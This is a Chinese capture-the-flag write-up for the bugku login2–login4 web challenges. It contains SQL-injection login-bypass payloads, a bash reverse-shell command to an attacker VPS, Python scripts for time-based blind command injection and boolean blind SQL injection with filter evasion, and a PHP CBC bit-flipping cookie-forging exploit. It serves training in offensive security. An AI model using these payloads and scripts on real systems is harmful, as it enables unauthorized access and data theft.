bugku Web题login1~4的writeup。

目录

login1

login2

login2_0 题目链接:http://123.206.31.85:49165

响应头中有个tip,base64解码之后内容如下:

$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password)){
}

有了源码就很简单了,结合题目提示中的union,采用如下payload:

"username=balabala' union select 1,null#&password[]=olaola"

或者

"username=balabala' union select 1,md5(1)#&password=1"

登陆成功后来到了一个apache进程监控系统,可以查看一些日志信息。执行框除了提供grep的参数外,如题目提示,是存在命令执行的,只不过不会返回执行结果,但通过输入11;sleep 3可以发现响应的延迟,由此来确定存在命令执行。 login2_1

这里我们就可以有两种思路,反向shell和基于时间的盲注。

  1. 反向shell

    上图中我们也可以看到两位老哥留下的“犯罪记录”。

    先在自己的vps上使用nc,进行监听,我选择2233端口:

    nc -lvp 2233
    

    然后在执行框内输入

    11;bash -i >& /dev/tcp/the_ip_of_my_vps/2233 0>&1
    

    即可反弹shell,查看flag。 login2_2.jpg

  2. 时间盲注

    反向shell虽然简单,但不适用线下赛的闭网环境。取而代之,我们可以结合sleep命令,进行时间盲注,与sql注入同理。

    脚本如下:

    time_injection.py
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    import requests
    
    if __name__ == '__main__':
        login2_session = requests.Session()
        login2_session.proxies={'http':'127.0.0.1:8080'}
        login_url = 'http://123.206.31.85:49165/login.php'
        apache_url = 'http://123.206.31.85:49165/index.php'
        for i in range(0,100):
            for j in range(33,126):
                # get directory
                c = '1;list=`ls`;if [ ${{list:{index}:1}} = {char} ];then sleep 2;fi'.format(index=i,char=chr(j))
                # get flag
                # c = '1;list=`cat fLag_c2Rmc2Fncn-MzRzZGZnNDc.txt`;if [ ${{list:{index}:1}} = {char} ];then sleep 2;fi'.format(index=i,char=chr(j))
                data1 = {
                    'username':"neko' union select 1,null#",
                    'password[]':'1'
                }
                data2 = {
                    'c':c
                }
                login2_session.post(login_url,data=data1)
                try:
                    login2_session.post(apache_url,data=data2,timeout=2)
                except requests.exceptions.ReadTimeout:
                    print(chr(j), end='')
                    break
    可以得到目录信息: login2_3.jpg

    再切换下代码11和13行的变量c,即可获取到flag。

login3

login3_0

题目链接:http://123.206.31.85:49167

  1. 初步探测

    首先尝试登陆,发现有两种错误提示: login3_1

    login3_2

    由此可以推测,后台用户名和密码是分开查询的,并且这两种返回值将是我们布尔盲注的判断依据。(用户名admin是存在的,即对应password error的结果)

    一番测试后发现过滤了不少东西,关键的有空格、逗号、等号以及and。对此,可以有以下应对措施:

    • 使用()在一定程度上避免空格的使用
    • 无逗号注入不是问题
    • 使用按位异或运算符^来避免and的使用
    • 改变判等逻辑,使用<>替代= (这一点不是必要的)

    在构造初步的payload之前我们现在看一下mysql关于where条件句的一个特点:

    mysql> select username,password from users;
    +-----------+-----------+
    | username  | password  |
    +-----------+-----------+
    | lawless   | lawless   |
    | admin     | admin123  |
    +-----------+-----------+
    
    mysql> select password from users where username=0;
    +-----------+
    | password  |
    +-----------+
    | lawless   |
    | admin123  |
    +-----------+
    

    可见,当where条件是和数字0的判等时,此条件并无约束力。

    由此,回到这道题目,我们可以通过异或运算,使我们提供的用户名在数据库中被解析为数字0,这样后台查询语句就一定可以查询得到用户名,然后在密码判断后返回给我们password error!的错误提示,反之,若解析结果不为0则会得到username does not exist!的错误提示。

    payload1:0'^0# (以下payload均指用户名,密码随意),这条payload得到的结果是password error!,由此验证上述思路。

  2. 注入

    我们可以结合脚本,使用payload:0'^length(database())^8#0'^ascii(mid(database()from(1)))^98#来分别爆破数据库名长度及库名,得到库名为blindsql,但这好像并没什么用,因为information也被过滤了,无法进一步查询到表名。

    看网上各位的wp到这一步都是猜表名和字段名,对此我也没什么好说的,使用0'^((select(count(password))from(admin))>0)^1#可以验证表名为admin,字段名为password。当然在此之前应该先猜表名,确定表名后在确定字段名。

    得到表名和用字段名后就可以爆破密码啦,是一条md5值(被大家玩成付费的了),使用用户名(admin)和破解后的密码登陆即可查看flag。

blindsql.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
class Login3(object):
    def __init__(self):
        self.url = 'http://123.206.31.85:49167/index.php'
        self.data = {
            'username': '',
            'password': '123456'
        }

    # get length(database())
    def get_dblen(self):
        for i in range(1,40):
            self.data['username'] = "0'^length(database())^{length}#".format(length=i)
            if len(requests.post(self.url, self.data).text) != 830:
                print('len(database()) =', i)
                return i

    # get db name
    def get_dbname(self):
        db_len = self.get_dblen()
        db_name = ''
        print('db name: ', end='')
        for i in range(1, db_len+1):
            for ascii_char in range(21, 127):
                self.data['username'] = "0'^ascii(mid(database()from({start})))^{char_num}#".format(start=i,char_num=ascii_char)
                if len(requests.post(self.url, self.data).text) != 830:
                    print(chr(ascii_char), end='')
                    db_name += chr(ascii_char)
                    break
        print()
        return db_name

    # get pwd
    def get_pwd(self):
        len_pwd = 0
        for i in range(1,40):
            self.data['username'] = "0'^length((select(password)from(admin)))^{length}#".format(length=i)
            if len(requests.post(self.url, self.data).text) != 830:
                len_pwd = i
        print("pwd length:",len_pwd)
        print("password: ", end='')
        for i in range(1, len_pwd+1):
            for ascii_char in range(21, 127):
                self.data['username'] = "0'^ascii(mid((select(password)from(admin))from({start})))^{char_num}#".format(start=i, char_num=ascii_char)
                if len(requests.post(self.url, self.data).text) != 830:
                    print(chr(ascii_char), end='')
                    break

if __name__ == '__main__':
    login3 = Login3()
    login3.get_pwd()
login3_3

login4

题目链接:http://123.206.31.85:49168

一个简单的登陆界面,除了用户名为admin时不让登外,其他用户名密码随便输都可以登录。 分析登录响应头可以看到如下关键信息:

cookie中包含了两个参数ivcipher,很好理解,这里的iv正是CBC中的初始向量initialization vectorcipher也就是密文了。

但这些信息远远不够,毕竟我们对加密内容一无所知。所以,这也算是一个潜规则,所谓CBC字节翻转攻击的题目,往往伴随着源码泄露。

或猜测或扫描我们可以在网站根目录下找到一个vim异常关闭产生的备份文件.index.php.swp,下载下来恢复后得到如下源码:

index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Login Form</title>
<link href="static/css/style.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="static/js/jquery.min.js"></script>
<script type="text/javascript">
$(document).ready(function() {
    $(".username").focus(function() {
        $(".user-icon").css("left","-48px");
    });
    $(".username").blur(function() {
        $(".user-icon").css("left","0px");
    });

    $(".password").focus(function() {
        $(".pass-icon").css("left","-48px");
    });
    $(".password").blur(function() {
        $(".pass-icon").css("left","0px");
    });
});
</script>
</head>

<?php
    define("SECRET_KEY", file_get_contents('/root/key'));
    define("METHOD", "aes-128-cbc");
    session_start();

    function get_random_iv(){
        $random_iv='';
        for($i=0;$i<16;$i++){
            $random_iv.=chr(rand(1,255));
        }
        return $random_iv;
    }

    function login($info){
        $iv = get_random_iv();
        $plain = serialize($info);
        $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
        $_SESSION['username'] = $info['username'];
        setcookie("iv", base64_encode($iv));
        setcookie("cipher", base64_encode($cipher));
    }

    function check_login(){
        if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
            $cipher = base64_decode($_COOKIE['cipher']);
            $iv = base64_decode($_COOKIE["iv"]);
            if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
                $info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
                $_SESSION['username'] = $info['username'];
            }else{
                die("ERROR!");
            }
        }
    }

    function show_homepage(){
        if ($_SESSION["username"]==='admin'){
            echo '<p>Hello admin</p>';
            echo '<p>Flag is $flag</p>';
        }else{
            echo '<p>hello '.$_SESSION['username'].'</p>';
            echo '<p>Only admin can see flag</p>';
        }
        echo '<p><a href="loginout.php">Log out</a></p>';
    }

    if(isset($_POST['username']) && isset($_POST['password'])){
        $username = (string)$_POST['username'];
        $password = (string)$_POST['password'];
        if($username === 'admin'){
            exit('<p>admin are not allowed to login</p>');
        }else{
            $info = array('username'=>$username,'password'=>$password);
            login($info);
            show_homepage();
        }
    }else{
        if(isset($_SESSION["username"])){
            check_login();
            show_homepage();
        }else{
            echo '<body class="login-body">
                    <div id="wrapper">
                        <div class="user-icon"></div>
                        <div class="pass-icon"></div>
                        <form name="login-form" class="login-form" action="" method="post">
                            <div class="header">
                            <h1>Login Form</h1>
                            <span>Fill out the form below to login to my super awesome imaginary control panel.</span>
                            </div>
                            <div class="content">
                            <input name="username" type="text" class="input username" value="Username" onfocus="this.value=\'\'" />
                            <input name="password" type="password" class="input password" value="Password" onfocus="this.value=\'\'" />
                            </div>
                            <div class="footer">
                            <input type="submit" name="submit" value="Login" class="button" />
                            </div>
                        </form>
                    </div>
                </body>';
        }
    }
?>
</html>

理理代码逻辑:

首先正常访问、登录(用户名admin禁止登录)后,由服务器设置cookiesession信息,并跳转到Hello界面。这里有两点:

  1. cookie内容
    • cipher=urlencode(base64_encode(Encrypt(serialize(array('username'=>$username,'password'=>$password)))))加密方式为AES-128-CBC
    • iv=urlencode(base64_encode(CBC的初始向量))
  2. session要求我们后续使用脚本实现时要注意保持会话。

其次若服务器检测到客户端请求头中的session信息,则无需用户登录,服务器获取cookie信息,进行密文解密,抽取用户名信息,设置session,跳转到Hello界面。这里关键在源码中check_login()函数,该函数解密cookiecipher信息得到明文,然后反序列化明文来获取用户名,若反序列化失败则返回该明文的base64编码,这一点是CBC字节翻转攻击得以实现的关键。

有用信息大致就是这些,接下来是攻击思路:

我们先从CBC说起,CBC即Cipher Block Chaining(密码分组链模式),是分组密码的工作模式之一。原理较为简单,加解密过程如下图所示:

其中IV为随机的初始向量,每个分组长度为128bit(16字节)。

现在我们来考虑明文P的前两个分组P1和P2的加解密情况。

加密过程: 解密过程:

这一题中首先以用户名admi0密码123456登录,可以得到明文P="a:2:{s:8:"username";s:5:"admi0";s:8:"password";s:6:"123456";}"的密文C(即cipher)。接下来如果我们能够通过修改密文C,使得明文P中的admi0变为admin0改为n,就可以顺利拿到flag,注意到0是在第二个明文分组(16字节一组)P2中的,所以我们需要改变的其实就是P2。这一过程便是CBC字节翻转攻击,至于怎么翻转的,且看下文。

关于CBC字节翻转攻击:

由上述原理对应到如下攻击过程:

- 登录获取cookie中的cipher和iv
- 字节翻转计算出new_cipher  # 公式(1)
- 向服务器发送包含new_cipher和iv的cookie  
- 服务器解密后反序列化失败返回新的明文new_plain  # 公式(5)
- 根据new_plain、原明文plain、原iv计算出new_iv  # 公式(6)
- 向服务器发送包含new_cipher和new_iv的cookie,获取到flag

上述过程手工实现起来略有繁琐,需要细心点。写个脚本可以加深对这一攻击过程的理解。

因为涉及php的序列化,python脚本不如php脚本来的方便,我的解题脚本如下:

Login4.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
<?php
    class Login4{
        private $cookie_path = './cookie.txt';  # 会话cookie保存位置
        private $url = "http://123.206.31.85:49168/index.php"; 
        private $params = ['username'=>'admi0', 'password'=>'123456'];  # 登陆post数据

        private function cookie_process($operator, $info_array=''){
            if ($operator == 1) {  # 提取cipher和iv
                $cookie = file_get_contents($this -> cookie_path);
                preg_match_all('/PHPSESSID.*|iv.*|cipher.*/', $cookie, $matches);
                $results = ['PHPSESSID' => substr($matches[0][0], 10), 'iv' => substr($matches[0][1], 3), 'cipher' => substr($matches[0][2], 7)];
                
                return $results;
            }
            elseif ($operator == 2) {  # 根据传入的cookie信息,覆写cookie文件
                $keys = array_keys($info_array);
                $cookie = "123.206.31.85".chr(9)."FALSE".chr(9)."/".chr(9)."FALSE".chr(9)."0".chr(9).$keys[0].chr(9).$info_array[$keys[0]]."\n";
                $cookie .= "123.206.31.85".chr(9)."FALSE".chr(9)."/".chr(9)."FALSE".chr(9)."0".chr(9).$keys[1].chr(9).$info_array[$keys[1]]."\n";
                $cookie .= "123.206.31.85".chr(9)."FALSE".chr(9)."/".chr(9)."FALSE".chr(9)."0".chr(9).$keys[2].chr(9).$info_array[$keys[2]]."\n";
                file_put_contents($this -> cookie_path, $cookie);

                return 0;
            }
        }

        function step1_login(){
            $ch = curl_init();
            $options = array(
                CURLOPT_URL => $this -> url,  
                CURLOPT_POST => 1,  
                CURLOPT_POSTFIELDS => http_build_query($this -> params),  
                CURLOPT_RETURNTRANSFER => 1,
                CURLOPT_COOKIEJAR => $this -> cookie_path 
            );
            curl_setopt_array($ch, $options);
            curl_exec($ch);

            return 0;
        }

        function step2_getNewPlain(){
            // clac new cipher
            $info = $this -> cookie_process(1);
            $cipher = base64_decode(urldecode($info['cipher']));
            $plain = serialize($this -> params);
            $p1 = substr($plain,0,16);
            $p2 = substr($plain,16);
            $c1 = substr($cipher,0,16);
            $c2 = substr($cipher,16);
            $c1[13] = $c1[13]^$p2[13]^'n';
            $new_cipher = urlencode(base64_encode($c1.$c2));
            $info['cipher'] = $new_cipher;
            $this -> cookie_process(2, $info);

            // get new plain
            $ch = curl_init();
            $options = array(
                CURLOPT_URL => $this -> url, 
                CURLOPT_RETURNTRANSFER => 1,  
                CURLOPT_COOKIEFILE => $this -> cookie_path 
            );
            curl_setopt_array($ch, $options);
            $handle = curl_exec($ch);

            preg_match('/\(\'.*\'\)/', $handle, $matches);
            $new_plain = base64_decode(substr($matches[0],2,-2));

            return $new_plain;
        }

        function step3_getFlag($new_plain){
            // calc new iv
            $plain = serialize($this -> params);
            $info = $this -> cookie_process(1);
            $iv = base64_decode(urldecode($info['iv']));
            for($i=0;$i<16;$i++){
                $iv[$i] = $iv[$i]^$new_plain[$i]^$plain[$i];
            }
            $new_iv = urlencode(base64_encode($iv));
            $info['iv'] = $new_iv;
            $this -> cookie_process(2, $info);

            // get flag
            $ch = curl_init();
            $options = array(
                CURLOPT_URL => $this -> url, 
                CURLOPT_RETURNTRANSFER => 1, 
                CURLOPT_COOKIEFILE => $this -> cookie_path 
            );
            curl_setopt_array($ch, $options);
            $handle = curl_exec($ch);
            preg_match('/SKCTF{.*}/', $handle, $matches);
            echo $matches[0]."\n";
            unlink($this -> cookie_path);

            return 0;
        }
    }

    $login = new Login4();
    $login -> step1_login();
    $new_plain = $login -> step2_getNewplain();
    $login -> step3_getFlag($new_plain);

?>

运行结果: